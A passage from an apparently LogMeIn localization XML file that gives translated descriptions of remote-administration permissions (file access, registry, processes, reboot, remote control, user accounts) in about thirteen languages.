<ko>드라이브, 폴더 및 파일을 나열하고, 파일을 읽거나 다운로드하며, 파일 특성, 공유 폴더 정보 및 액세스 제어 목록을 보고 파일 전송 애플릿을 사용할 수 있습니다.</ko>
<en-gb>Allows the user to list drives, folders and files, read and download files, view file attributes, shared folder information &amp;, access control lists and use the file transfer applet.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy listázza a meghajtókat, mappákat és a fájlokat; hogy olvassa és letöltse a fájlokat;
megtekintse a fájl-attribútumokat, a megosztott mappa és a hozzáférés-vezérlési listák információit; és
használja a fájlátviteli segédalkalmazást.</hu>
<pt-br>Permite que o usuário liste unidades, pastas e arquivos; leia e baixe arquivos;
exiba atributos do arquivo, informações da pasta compartilhada e listas de controle de acesso; e
use o miniaplicativo de transferência de arquivos.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker het volgende doen: een overzicht opvragen van de schijfstations, mappen en bestanden, bestanden lezen en downloaden, de bestandseigenschappen, informatie over gedeelde mappen en toegangscontrolelijsten weergeven, en de applet voor de bestandsoverdracht gebruiken.</nl>
</msg>
<msg brand="LMI" name="FILE.R">
<en>Allows the user to list drives, folders and files; read and download files;
view file attributes, shared folder information &amp; access control lists; and
use File Manager.</en>
<de>Erlaubt dem Benutzer Laufwerke, Ordner und Dateien anzuzeigen; lesen und downloaden von Dateien; Dateiattribute anzeigen; Eigenschaften von Ordnerfreigaben und ACLs anzeigen; Dateitransfer verwenden.</de>
<es>Permite al usuario crear listas de unidades, carpetas y archivos, leer y descargar archivos;
ver atributos de archivos, información de carpetas compartidas &amp; listas de control de acceso; y
utilizar el programa de transferencia de archivos.</es>
<fr>Autorise l'utilisateur de voir la liste des lecteurs , des dossiers et des fichiers; de lire et téléchargez des fichiers;
de voir les attributs des fichiers, de partager les informations de dossier &amp; les listes
de contrôle d'accès; et d'utiliser l'applet de transfert de fichiers.</fr>
<it>Consente all'utente di elencare le unità, le cartelle e i file, di visualizzare ed effettuare il download di file, nonché di visualizzare gli attributi dei file, i dati delle cartelle condivise e gli elenchi di controllo degli accessi e di utilizzare l'applet di trasferimento dei file.</it>
<ru>Позволяет пользователю выводить списки дисков, папок и файлов, читать и загружать файлы, просматривать атрибуты файлов, информацию об общих папках и списках управления доступом, а также использовать апплет передачи файлов.</ru>
<ja>このユーザに対して、ドライブ、フォルダ、ファイルのリスト化、ファイルの読み取り取りとダウンロード、ファイル属性、共有フォルダ情報、アクセス コントロール リストの表示、ファイル転送アプレットの使用を許可します。</ja>
<zh>允许用户列出驱动器、文件夹和文件;读取和下载文件;查看文件属性、共享文件夹信息和访问控制列表;使用文件传输小程序。</zh>
<ko>드라이브, 폴더 및 파일을 나열하고, 파일을 읽거나 다운로드하며, 파일 특성, 공유 폴더 정보 및 액세스 제어 목록을 보고 파일 전송 애플릿을 사용할 수 있습니다.</ko>
<en-gb>Allows the user to list drives, folders and files, read and download files, view file attributes, shared folder information &amp;, access control lists and use the file transfer applet.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy listázza a meghajtókat, mappákat és a fájlokat; hogy olvassa és letöltse a fájlokat;
megtekintse a fájl-attribútumokat, a megosztott mappa és a hozzáférés-vezérlési listák információit; és
használja a fájlátviteli segédalkalmazást.</hu>
<pt-br>Permite que o usuário liste unidades, pastas e arquivos; leia e baixe arquivos;
exiba atributos do arquivo, informações da pasta compartilhada e listas de controle de acesso; e
use o miniaplicativo de transferência de arquivos.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker het volgende doen: een overzicht opvragen van de schijfstations, mappen en bestanden, bestanden lezen en downloaden, de bestandseigenschappen, informatie over gedeelde mappen en toegangscontrolelijsten weergeven, en de applet voor de bestandsoverdracht gebruiken.</nl>
</msg>
<msg name="FILE.W">
<en>Allows the user to copy &amp; paste, rename, edit files; create &amp; share
folders; edit file attributes and access control lists.</en>
<de>Erlaubt dem Benutzer Dateien zu kopieren &amp; einfügen, umbenennen &amp; bearbeiten; Ordner erstellen und freigeben; Dateiattribute und ACLs bearbeiten.</de>
<es>Permite al usuario copiar &amp; pegar, renombrar, editar archivos; crear &amp; compartir
carpetas; editar atributos de archivos y listas de control de acceso.</es>
<fr>Autorise l'utilisateur de copier &amp; coller, renommer, éditer des fichiers créer et partager
des dossiers; éditer les attributs de fichier et les listes de contrôle d'accès.</fr>
<it>Consente all'utente di copiare e incollare, rinominare e modificare i file, di creare e condividere le cartelle, di modificare gli attributi dei file e gli elenchi di controllo degli accessi.</it>
<ru>Позволяет пользователю копировать, вставлять, переименовывать, изменять файлы, создавать папки и делать их общими, изменять атрибуты файлов и списки управления доступом к ним.</ru>
<ja>このユーザに対して、ファイルのコピー &amp; ペースト、ファイル名の変更と編集、フォルダの作成と共有、ファイル属性とアクセス コントロール リストの編集を許可します。</ja>
<zh>允许用户复制并粘贴、重命名、编辑文件;创建和共享文件夹;编辑文件属性和访问控制列表。</zh>
<ko>파일을 복사 후 붙여넣을 수 있고 파일 이름을 바꾸거나 편집할 수 있으며 폴더를 만들고 공유하며, 파일 특성 및 액세스 제어 목록을 편집할 수 있습니다.</ko>
<en-gb>Allows the user to copy &amp; paste, rename and edit files, create &amp; share folders, edit file attributes and access control lists.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy másoljon és beillesszen, átnevezzen, fájlokat szerkesszen, létrehozzon és megosszon 
mappákat; szerkessze a fájl-attribútumokat és hozzáférés-vezérlési listákat.</hu>
<pt-br>Permite que o usuário copie e cole, renomeie, edite arquivos; crie e compartilhe
pastas; edite atributos do arquivo e acesse listas de controle.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker bestanden kopiëren en plakken, de naam ervan wijzigen en de bestanden bewerken, mappen maken en delen, de bestandseigenschappen en toegangscontrolelijsten bewerken.</nl>
</msg>
<msg name="FILE.D">
<en>Allows the user to delete files; remove shares; and disconnect users from
shared files.</en>
<de>Erlaubt dem Benutzer Dateien zu löschen; Ordnerfreigaben entfernen; Benutzer von freigegebenen Dateien trennen.</de>
<es>Permite al usuario eliminar archivos; quitar compartidos; y desconectar usuarios
de archivos compartidos.</es>
<fr>Autorise l'utilisateur d'effacer des fichiers; de supprimer des partages; et de déconnecter des utilisateurs aux
fichiers partagés</fr>
<it>Consente all'utente di eliminare file, di rimuovere condivisioni e di disconnettere gli utenti dai file condivisi.</it>
<ru>Позволяет пользователю удалять обычные и общие файлы, а также отключать пользователей от общих файлов.</ru>
<ja>このユーザに対して、ファイルの削除、共有の解除、共有ファイルとユーザとの接続の切断を許可します。</ja>
<zh>允许用户删除文件;删除共享;从共享文件中断开用户连接。</zh>
<ko>파일을 삭제하고 공유 파일을 제거할 수 있으며 공유 파일에서 사용자 연결을 해제할 수 있습니다.</ko>
<en-gb>Allows the user to delete files, remove shares and disconnect users from shared files.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy fájlokat töröljön, megosztásokat megszüntessen és megszüntesse a kapcsolatot a felhasználók és 
a megosztott fájlok között.</hu>
<pt-br>Permite que o usuário exclua arquivos; remova compartilhamentos; e desconecte usuários dos
arquivos compartilhados.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker bestanden verwijderen, het gedeelde gebruik uitschakelen en de verbinding tussen gebruikers en gedeelde bestanden verbreken.</nl>
</msg>
<msg name="REGISTRY">
<en>Registry</en>
<de>Registrierungsdatenbank</de>
<es>Registro</es>
<fr>Registre</fr>
<it>Registro di sistema</it>
<ru>Реестр</ru>
<ja>レジストリ</ja>
<zh>注册表</zh>
<ko>레지스트리</ko>
<en-gb>Registry</en-gb>
<hu>Rendszerleíró adatbázis</hu>
<pt-br>Registro</pt-br>
<nl>Register</nl>
</msg>
<msg name="REGISTRY.R">
<en>Allows the user to view registry keys &amp; values; and list installed applications.</en>
<de>Erlaubt dem Benutzer Registrierungsschlüssel anzuzeigen. Installierte Anwendung anzeigen.</de>
<es>Permite al usuario ver valores &amp; claves de registro; y crear listas de las aplicaciones instaladas.</es>
<fr>Autorise l'utilisateur à consulter les clés et valeurs de registre; et la liste des applications installées.</fr>
<it>Consente all'utente di visualizzare le chiavi e i valori del Registro di sistema e un elenco delle applicazioni installate.</it>
<ru>Позволяет пользователю просматривать разделы и значения реестра, а также выводить список установленных приложений.</ru>
<ja>このユーザに対して、レジストリ キーとレジストリ値の表示、インストール済みアプリケーションのリスト化を許可します。</ja>
<zh>允许用户查看注册表项和注册表值;列出已安装的应用程序。</zh>
<ko>레지스트리 키 및 값을 보고 설치된 응용 프로그램을 나열할 수 있습니다.</ko>
<en-gb>Allows the user to view registry keys &amp; values and list installed applications.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy rendszerleíró adatbázis-kulcsokat és értékeket tekintsen meg, és listázza a telepített alkalmazásokat.</hu>
<pt-br>Permite que os usuários exibam chaves e valores do Registro e listem aplicativos instalados.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de sleutels en waarden in het systeemregister weergeven en een overzicht van de geïnstalleerde toepassingen opvragen.</nl>
</msg>
<msg name="REGISTRY.W">
<en>Allows the user to create &amp; rename registry keys; add and change registry values.</en>
<de>Erlaubt dem Benutzer Registrierungsschlüssel zu erstellen und umbenennen; hinzufügen und ändern von Registry-Werten.</de>
<es>Permite al usuario crear &amp; renombrar claves de registro; agregar y cambiar valores de registro.</es>
<fr>Autorise l'utilisateur de créer et de renommer les clés de registre; d'ajouter et de changer les valeurs de registre.</fr>
<it>Consente all'utente di creare e rinominare le chiavi del Registro di sistema e di aggiungere e modificare i valori di tale registro.</it>
<ru>Позволяет пользователю создавать и переименовывать разделы реестра, а также добавлять и изменять значения реестра.</ru>
<ja>このユーザに対して、レジストリ キーの作成と名前の変更、レジストリ値の追加と変更を許可します。</ja>
<zh>允许用户创建和重命名注册表项;添加和更改注册表值。</zh>
<ko>레지스트리 키를 만들고 레지스트리 키 이름을 바꾸며 레지스트리 값을 추가 및 변경할 수 있습니다.</ko>
<en-gb>Allows the user to create &amp; rename registry keys add and change registry values.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy rendszerleíró adatbázis-kulcsokat módosítson, rendszerleíró adatbázis-értékeket adjon hozzá vagy módosítson.</hu>
<pt-br>Permite que o usuário crie e renomeie chaves do Registro; adicione e altere valores do Registro.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker registersleutels maken en hun naam wijzigen, en waarden voor registersleutels toevoegen en wijzigen.</nl>
</msg>
<msg name="REGISTRY.D">
<en>Allows the user to delete registry keys &amp; values.</en>
<de>Erlaubt dem Benutzer Registrierungsschlüssel zu löschen.</de>
<es>Permite al usuario eliminar valores &amp; claves de registro.</es>
<fr>Autorise l'utilisateur de supprimer les clés et valeurs de registre.</fr>
<it>Consente all'utente di eliminare le chiavi e i valori del Registro di sistema.</it>
<ru>Позволяет пользователю удалять разделы и значения реестра.</ru>
<ja>このユーザに対して、レジストリ キーとレジストリ値の削除を許可します。</ja>
<zh>允许用户删除注册表项和注册表值。</zh>
<ko>레지스트리 키 및 값을 삭제할 수 있습니다.</ko>
<en-gb>Allows the user to delete registry keys &amp; values.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy törölje a rendszerleíró adatbázis kulcsait és értékeit.</hu>
<pt-br>Permite que o usuário exclua chaves e valores do Registro.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker registersleutels en -waarden verwijderen.</nl>
</msg>
<msg name="PERFORMANCE">
<en>Performance Data</en>
<de>Leistungsdaten</de>
<es>Datos de rendimiento</es>
<fr>Données de Performance</fr>
<it>Dati sulle prestazioni</it>
<ru>Данные о производительности</ru>
<ja>パフォーマンス データ</ja>
<zh>性能数据</zh>
<ko>성능 데이터</ko>
<en-gb>Performance Data</en-gb>
<hu>Teljesítmény-adatok</hu>
<pt-br>Dados de desempenho</pt-br>
<nl>Prestatiegegevens</nl>
</msg>
<msg name="PERFORMANCE.R">
<en>Allows the user to view system performance data, graphs, and detailed hardware information.</en>
<de>Erlaubt dem Benutzer Leistungsdaten anzuzeigen.</de>
<es>Permite al usuario ver datos de rendimiento del sistema, gráficos e información detallada del hardware.</es>
<fr>Autorise l'utilisateur de voir les données de performance système, des graphiques, et l'information détaillée du matériel.</fr>
<it>Consente all'utente di visualizzare i dati sulle prestazioni del sistema con i relativi grafici e le informazioni dettagliate sull'hardware.</it>
<ru>Разрешает пользователю просматривать данные о производительности системы и подробную информацию об аппаратном обеспечении.</ru>
<ja>このユーザに対して、システム パフォーマンス データ、グラフ、ハードウェア情報の詳細の表示を許可します。</ja>
<zh>允许用户查看系统性能数据、图形和详细的硬件信息。</zh>
<ko>성능 데이터, 그래프 및 자세한 하드웨어 정보를 볼 수 있습니다.</ko>
<en-gb>Allows the user to view system performance data, graphs and detailed hardware information.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy megtekintse a rendszer teljesítmény-adatait, grafikonjait és a részletes hardver-információkat.</hu>
<pt-br>Permite que o usuário exiba dados de desempenho do sistema, gráficos e informações de hardware detalhadas.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de prestatiegegevens, -grafieken en gedetailleerde hardware-informatie van het systeem weergeven.</nl>
</msg>
<msg name="PROCESS">
<en>Processes</en>
<de>Prozesse</de>
<es>Procesos</es>
<fr>Processus</fr>
<it>Processi</it>
<ru>Процессы</ru>
<ja>プロセス</ja>
<zh>进程</zh>
<ko>프로세스</ko>
<en-gb>Processes</en-gb>
<hu>Folyamatok</hu>
<pt-br>Processos</pt-br>
<nl>Processen</nl>
</msg>
<msg name="PROCESS.R">
<en>Allows the user to view running processes, services &amp; drivers; list DLLs &amp; objects
that these processes use; and view scheduled tasks.</en>
<de>Erlaubt dem Benutzer Prozesse, Dienst &amp; Treiber anzuzeigen; DLLs und Objekte anzeigen, die von diesen Prozessen verwendet werden; Geplante Tasks anzeigen.</de>
<es>Permite al usuario ver procesos, servicios &amp; drivers en ejecución; crear listas de DLLs &amp; objetos
utilizados por estos procesos; y ver tareas programadas.</es>
<fr>Autorise l'utilisateur de voir les processus, les services et les pilotes chargés; d'énumérer les DLLs &amp; objets
que ces processus utilisent; et voir les tâches planifiées.</fr>
<it>Consente all'utente di visualizzare i processi, i servizi e i driver in esecuzione, l'elenco delle DLL e degli oggetti utilizzati dai processi e le attività pianificate.</it>
<ru>Позволяет пользователю просматривать запущенные процессы, службы и драйверы, выводить список DLL-файлов и объектов, использующих эти процессы, а также просматривать запланированные задания.</ru>
<ja>このユーザに対して、実行中のプロセス、サービス、ドライバの表示、実行中のプロセスが使用している DLL とオブジェクトのリスト化、スケジュール済みタスクの表示を許可します。</ja>
<zh>允许用户查看正在运行的进程、服务和驱动程序;列出这些进程使用的 DLL 和对象;查看计划的任务。</zh>
<ko>실행 프로세스, 서비스 및 드라이버를 보거나 프로세스에서 사용하는 DLL 및 개체를 나열하며 예약된 작업을 볼 수 있습니다.</ko>
<en-gb>Allows the user to view running processes, services &amp; drivers, list DLLs &amp; objects that these processes use and view scheduled tasks.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy megtekintse a futó szolgáltatásokat és illesztőprogramokat, listázza a DLL-eket és az objektumokat
amelyeket ezek a folyamatok használnak, valamint, hogy megtekintse az ütemezett feladatokat.</hu>
<pt-br>Permite que o usuário exiba processos, serviços e unidades em execução; liste DLLs e objetos
usados por este processo; e exiba tarefas programadas.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de processen, services en stuurprogramma's weergeven die worden uitgevoerd of die zijn geladen, een overzicht opvragen van de DLL's en objecten die door deze processen worden gebruikt en de geplande taken weergeven.</nl>
</msg>
<msg name="PROCESS.W">
<en>Allows the user to change process priorities &amp; service startup parameters; control
services; create &amp; modify scheduled tasks.</en>
<de>Erlaubt dem Benutzer Prozessprioritäten und  Startparameter der Dienste zu ändern; Dienste steuern; Geplante Tasks erstellen und ändern.</de>
<es>Permite al usuario cambiar parámetros de arranque del servicio &amp; prioridades de proceso; controlar
servicios; crear &amp; modificar tareas programadas.</es>
<fr>Autorise l'utilisateur de changer les priorités des processus &amp; les paramètres de démarrage de services;
contrôler les services; créer &amp; modifier les tâches planifiées.</fr>
<it>Consente all'utente di modificare le priorità dei processi e i parametri di avvio dei servizi, di controllare i servizi e di creare e modificare le attività pianificate.</it>
<ru>Позволяет пользователю изменять приоритеты процессов и параметры запуска служб, управлять службами, создавать и изменять запланированные задания.</ru>
<ja>このユーザに対して、プロセスの優先順位とサービス起動パラメータの変更、サービスの制御、スケジュール済みタスクの作成と変更を許可します。</ja>
<zh>允许用户更改进程优先级和服务启动参数;控制服务;创建和修改计划的任务。</zh>
<ko>프로세스 우선 순위 및 서비스 시작 매개 변수를 변경하고, 서비스를 제어하며 예약된 작업을 만들고 수정할 수 있습니다.</ko>
<en-gb>Allows the user to change process priorities &amp; service startup parameters, control services, create &amp; and modify scheduled tasks.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy módosítsa a szolgáltatásindítási paramétereket, vezérelje a
szolgáltatásokat; létrehozza és módosítsa az ütemezett feladatokat.</hu>
<pt-br>Permite que o usuário altere prioridades do processo e parâmetros de inicialização do serviço; controle
serviços; crie e modifique tarefas programadas.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de prioriteiten van de processen en de initiële parameters van de services wijzigen, de services besturen, en geplande taken maken en wijzigen.</nl>
</msg>
<msg name="PROCESS.D">
<en>Allows the user to kill running processes &amp; services; delete scheduled tasks.</en>
<de>Erlaubt dem Benutzer Prozesse und Dienste abzubrechen; Geplante Tasks löschen.</de>
<es>Permite al usuario finalizar procesos &amp; servicios que se están ejecutando; eliminar tareas programadas.</es>
<fr>Autorise l'utilisateur de tuer des processus et des sevices chargés; de supprimer des tâches planifiées.</fr>
<it>Consente all'utente di terminare i processi e i servizi in esecuzione e di eliminare le attività pianificate.</it>
<ru>Позволяет пользователю завершать работу запущенных процессов и служб, а также удалять запланированные задания.</ru>
<ja>このユーザに対して、実行中のプロセスとサービスの中止、スケジュール済みタスクの削除を許可します。</ja>
<zh>允许用户取消正在运行的进程和服务;删除计划的任务。</zh>
<ko>실행 프로세스 및 서비스를 종료하고 예약된 작업을 삭제할 수 있습니다.</ko>
<en-gb>Allows the user to kill running processes &amp; services and delete scheduled tasks.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy leállítsa a futó folyamatokat és szolgáltatásokat, törölje az ütemezett feladatokat.</hu>
<pt-br>Permite que o usuário acabe com processos e serviços em execução; exclua tarefas programadas.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker processen en services die worden uitgevoerd, beëindigen en geplande taken verwijderen.</nl>
</msg>
<msg name="REBOOT">
<en>Reboot Options</en>
<de>Neustartoptionen</de>
<es>Opciones de reinicio</es>
<fr>Options de redémarrage</fr>
<it>Opzioni di riavvio</it>
<ru>Параметры перезагрузки</ru>
<ja>リブート オプション</ja>
<zh>重新引导选项</zh>
<ko>재부팅 옵션</ko>
<en-gb>Reboot Options</en-gb>
<hu>Újraindítási lehetőségek</hu>
<pt-br>Opções de reinicialização</pt-br>
<nl>Opties voor opnieuw opstarten</nl>
</msg>
<msg name="REBOOT.W">
<en>Allows the user to restart the %PRODUCTNAME service; initiate &amp; schedule
system reboots; and hard-reset the computer.</en>
<de>Erlaubt dem Benutzer den %PRODUCTNAME Dienst neuzustarten; Neustarts planen und durchführen; harter Reset des Computers.</de>
<es>Permite al usuario reiniciar el servicio de %PRODUCTNAME; iniciar &amp; programar
reinicios del sistema; y reiniciar bruscamente el ordenador.</es>
<fr>Autorise l'utilisateur de redémarrer le service %PRODUCTNAME ; d'initialiser et de planifier
les redémarrages système; et faire un hard-reset (redémarrage brutal) de l'ordinateur.</fr>
<it>Consente all'utente di riavviare il servizio %PRODUCTNAME, di eseguire e pianificare il riavvio del sistema e di eseguire l'hard reset del computer.</it>
<ru>Разрешает пользователю перезапускать службу %PRODUCTNAME, инициировать и планировать перезапуск системы, а также аппаратную перезагрузку компьютера.</ru>
<ja>このユーザに対して、%PRODUCTNAME サービスの再起動、システム リブートの開始とスケジューリング、コンピュータのハード リセットを許可します。</ja>
<zh>允许用户重新启动 %PRODUCTNAME 服务;启动并安排系统重新引导;硬复位计算机。</zh>
<ko>%PRODUCTNAME 서비스를 다시 시작하고 시스템 재부팅을 시작 및 예약할 수 있으며 컴퓨터를 하드 재설정할 수 있습니다.</ko>
<en-gb>Allows the user to restart the %PRODUCTNAME service, initiate &amp; schedule system reboots and hard-reset the computer.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy újraindítsa a %PRODUCTNAME szolgáltatást; kezdeményezze és ütemezze a
rendszer újraindítását, és elvégezze a számítógép hardveres újraindítását.</hu>
<pt-br>Permite que o usuário reinicie o serviço do %PRODUCTNAME; inicie e programe
reinicializações do sistema ; faça reinicializações frias do computador.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de %PRODUCTNAME-service opnieuw starten, het opnieuw opstarten van het systeem uitvoeren en plannen en een gedwongen "reset" van de computer doorvoeren.</nl>
</msg>
<msg name="RC">
<en>Remote Control</en>
<de>Fernsteuerung</de>
<ja>リモート制御</ja>
<es>Control Remoto</es>
<fr>Contrôle à distance</fr>
<it>Controllo remoto</it>
<ru>Удаленное управление</ru>
<zh>远程控制</zh>
<ko>원격 제어</ko>
<en-gb>Remote Control</en-gb>
<hu>Távvezérlő</hu>
<pt-br>Controle remoto</pt-br>
<nl>Besturing op afstand</nl>
</msg>
<msg name="RC.R">
<en>Allows the user to view &amp; monitor the remote desktop; and use the chat applet.</en>
<de>Erlaubt dem Benutzer den Remote-Desktop anzuzeigen; Dialog verwenden.</de>
<es>Permite al usuario ver &amp; controlar el escritorio remoto; y utilizar el programa de conversación.</es>
<fr>Autorise l'utilisateur de voir &amp; surveiller le bureau à distance; et d'utiliser l'applet de chat.</fr>
<it>Consente all'utente di visualizzare e monitorare il desktop remoto e di utilizzare l'applet di chat.</it>
<ru>Позволяет пользователю просматривать и выполнять мониторинг удаленного рабочего стола, а также использовать апплет для чата.</ru>
<ja>このユーザに対して、リモート デスクトップの表示とモニタリング、チャット アプレットの使用を許可します。</ja>
<zh>允许用户查看和监视远程桌面;使用聊天小程序。</zh>
<ko>원격 데스크톱을 보고 모니터링할 수 있으며 대화 애플릿을 사용할 수 있습니다.</ko>
<en-gb>Allows the user to view &amp; monitor the remote desktop and use the chat applet.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy megtekintse és megfigyelje a távoli asztalt, és csevegő segédalkalmazást használjon.</hu>
<pt-br>Permite que o usuário exiba e monitore o desktop remoto e use o miniaplicativo de bate-papo.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker het externe bureaublad weergeven en controleren, en de chat-applet gebruiken.</nl>
</msg>
<msg name="RC.R.LOGMEINFREE">
<en>Allows the user to view &amp; monitor the remote desktop.</en>
<es>Permite al usuario ver &amp; controlar el escritorio remoto.</es>
<fr>Autorise l'utilisateur à voir et à prendre le contrôle du bureau distant.</fr>
<de>Der Benutzer darf den Remotedesktop anzeigen und überwachen.</de>
<it>Consente all'utente di visualizzare e monitorare il desktop remoto.</it>
<ru>Позволяет пользователю просматривать и выполнять мониторинг удаленного рабочего стола.</ru>
<ja>このユーザに対して、リモート デスクトップの表示とモニタリングを許可します。</ja>
<zh>允许用户查看和监视远程桌面。</zh>
<ko>원격 데스크톱을 보고 모니터링할 수 있습니다.</ko>
<en-gb>Allows the user to view &amp; and monitor the remote desktop.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy megtekintse és megfigyelje a távoli asztalt.</hu>
<pt-br>Permite que o usuário exiba e monitore o desktop remoto.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker het externe bureaublad weergeven en controleren.</nl>
</msg>
<msg name="RC.W">
<en>Allows the user to view &amp; interact with the remote desktop.</en>
<de>Erlaubt dem Benutzer den Remote-Desktop anzuzeigen und zu steuern.</de>
<es>Permite al usuario ver &amp; interactuar con el escritorio remoto.</es>
<fr>Autorise l'utilisateur de voir &amp; de piloter le bureau à distance</fr>
<it>Consente all'utente di visualizzare e interagire con il desktop remoto.</it>
<ru>Позволяет пользователю просматривать и взаимодействовать с удаленным рабочим столом.</ru>
<ja>このユーザに対して、リモート デスクトップの表示とリモート デスクトップとの対話を許可します。</ja>
<zh>允许用户查看远程桌面并与之交互。</zh>
<ko>원격 데스크톱에서 보고 서로 대화할 수 있습니다.</ko>
<en-gb>Allows the user to view &amp; and interact with the remote desktop.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy megtekintse és interakcióban legyen a távoli asztallal.</hu>
<pt-br>Permite que o usuário exiba e interaja com o desktop remoto.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker het externe bureaublad weergeven en interactief gebruiken.</nl>
</msg>
<msg name="RC.D">
<en>Allows the user to take control over the remote desktop without the interactive
user's permission.</en>
<de>Erlaubt dem Benutzer die Kontrolle über den Remote-Desktop ohne der Erlaubnis des interaktiven Benutzers zu übernehmen.</de>
<es>Permite al usuario controlar el escritorio remoto sin permiso del
usuario interactivo.</es>
<fr>Autorise l'utilisateur de prendre le contrôle du bureau distant sans avoir les permissions de l'utilisateur interactif.</fr>
<it>Consente all'utente di assumere il controllo del desktop remoto senza l'autorizzazione dell'utente interattivo.</it>
<ru>Позволяет пользователю брать на себя управление удаленным рабочим столом без разрешения интерактивного пользователя.</ru>
<ja>このユーザに対して、インタラクティブ ユーザの権限なしでのリモート デスクトップの制御を許可します。</ja>
<zh>允许用户控制远程桌面,而无需交互式用户的权限。</zh>
<ko>대화형 사용자의 권한 없이 원격 데스크톱을 제어할 수 있습니다.</ko>
<en-gb>Allows the user to take control over the remote desktop without the interactive user's permission.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy vezérelje a távoli asztalt, az interaktív felhasználói 
engedély nélkül.</hu>
<pt-br>Permite que o usuário assuma o controle do desktop remoto sem a permissão
do usuário interativo.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de besturing van het externe bureaublad overnemen zonder de toestemming van de interactieve gebruiker.</nl>
</msg>
<msg name="ACCOUNTS">
<en>User/Group Accounts</en>
<de>Benutzer/Gruppen Konten</de>
<es>Cuentas de Usuario/Grupo</es>
<fr>Comptes Utilisateur/Goupe</fr>
<it>Account utente/gruppo</it>
<ru>Учетные записи пользователей/групп</ru>
<ja>ユーザ グループまたはユーザ アカウント</ja>
<zh>用户/组帐户</zh>
<ko>사용자/그룹 계정</ko>
<en-gb>User/Group Accounts</en-gb>
<hu>Felhasználói /Csoportfiókok</hu>
<pt-br>Contas do usuário/grupo</pt-br>
<nl>Gebruikers-/groepaccounts</nl>
</msg>
<msg name="ACCOUNTS.R">
<en>Allows the user to list and view user groups &amp; accounts.</en>
<de>Erlaubt dem Benutzer Gruppen und Benutzerkonten anzuzeigen.</de>
<es>Permite al usuario crear listas y ver grupos &amp; cuentas de usuarios.</es>
<fr>Autorise l'utilisateur de lister et de voir les groupes et comptes d'utilisateurs.</fr>
<it>Consente all'utente di visualizzare l'elenco dei gruppi di utenti e dei relativi account.</it>
<ru>Позволяет пользователю выводить список и просматривать группы пользователей и учетные записи.</ru>
<ja>このユーザに対して、ユーザ グループおよびユーザ アカウントのリスト化と表示を許可します。</ja>
<zh>允许用户列出和查看用户组与帐户。</zh>
<ko>사용자 그룹 및 계정을 나열하거나 볼 수 있습니다.</ko>
<en-gb>Allows the user to list and view user groups &amp; accounts.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy listázza és megtekintse a felhasználói csoportokat és fiókokat.</hu>
<pt-br>Permite que o usuário liste e visualize grupos de usuários e contas.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker gebruikersgroepen en -accounts weergeven en in een overzicht opvragen.</nl>
</msg>
<msg name="ACCOUNTS.W">
<en>Allows the user to create new user groups &amp; accounts; and modify their details.</en>
<de>Erlaubt dem Benutzer neue Gruppen und Benutzerkonten anzulegen und deren Details zu bearbeiten.</de>
<es>Permite al usuario crear nuevos grupos &amp; cuentas de usuarios; y modificar sus detalles.</es>
<fr>Autorise l'utilisateur de créer de nouveaux groupes et comptes d'utilisateurs; et de modifier leurs détails</fr>
<it>Consente all'utente di creare nuovi gruppi di utenti con i relativi account e di modificarne i dettagli.</it>
<ru>Позволяет пользователю создавать новые группы пользователей иучетные записи, а также изменять сведения о них.</ru>
<ja>このユーザに対して、新しいユーザ グループおよびユーザ アカウントの作成とそれらの詳細の変更を許可します。</ja>
<zh>允许用户创建新用户组与帐户;修改其详细信息。</zh>
<ko>새 사용자 그룹 및 계정을 만들고 계정의 세부사항을 수정할 수 있습니다.</ko>
<en-gb>Allows the user to create new user groups &amp; accounts and and modify their details.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy új felhasználói csoportokat és fiókokat hozzon létre, valamint, hogy azok adatait módosítsa.</hu>
<pt-br>Permite que o usuário crie novos grupos de usuários e contas e modifique seus detalhes.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker nieuwe gebruikersgroepen en -accounts maken en de detailgegevens ervan wijzigen.</nl>
</msg>
<msg name="ACCOUNTS.D">
<en>Allows the user to delete user groups &amp; accounts.</en>
<de>Erlaubt dem Benutzer Gruppe und Benutzerkonten zu löschen.</de>
<es>Permite al usuario eliminar grupos &amp; cuentas de usuarios.</es>
<fr>Autorise l'utilisateur de supprimer des groupes et comptes d'utilisateurs</fr>
<it>Consente all'utente di eliminare i gruppi di utenti e i relativi account.</it>
<ru>Позволяет пользователю удалять группы пользователей и учетные записи.</ru>
<ja>このユーザに対して、ユーザ グループおよびユーザ アカウントの削除を許可します。</ja>
<zh>允许用户删除用户组与帐户。</zh>
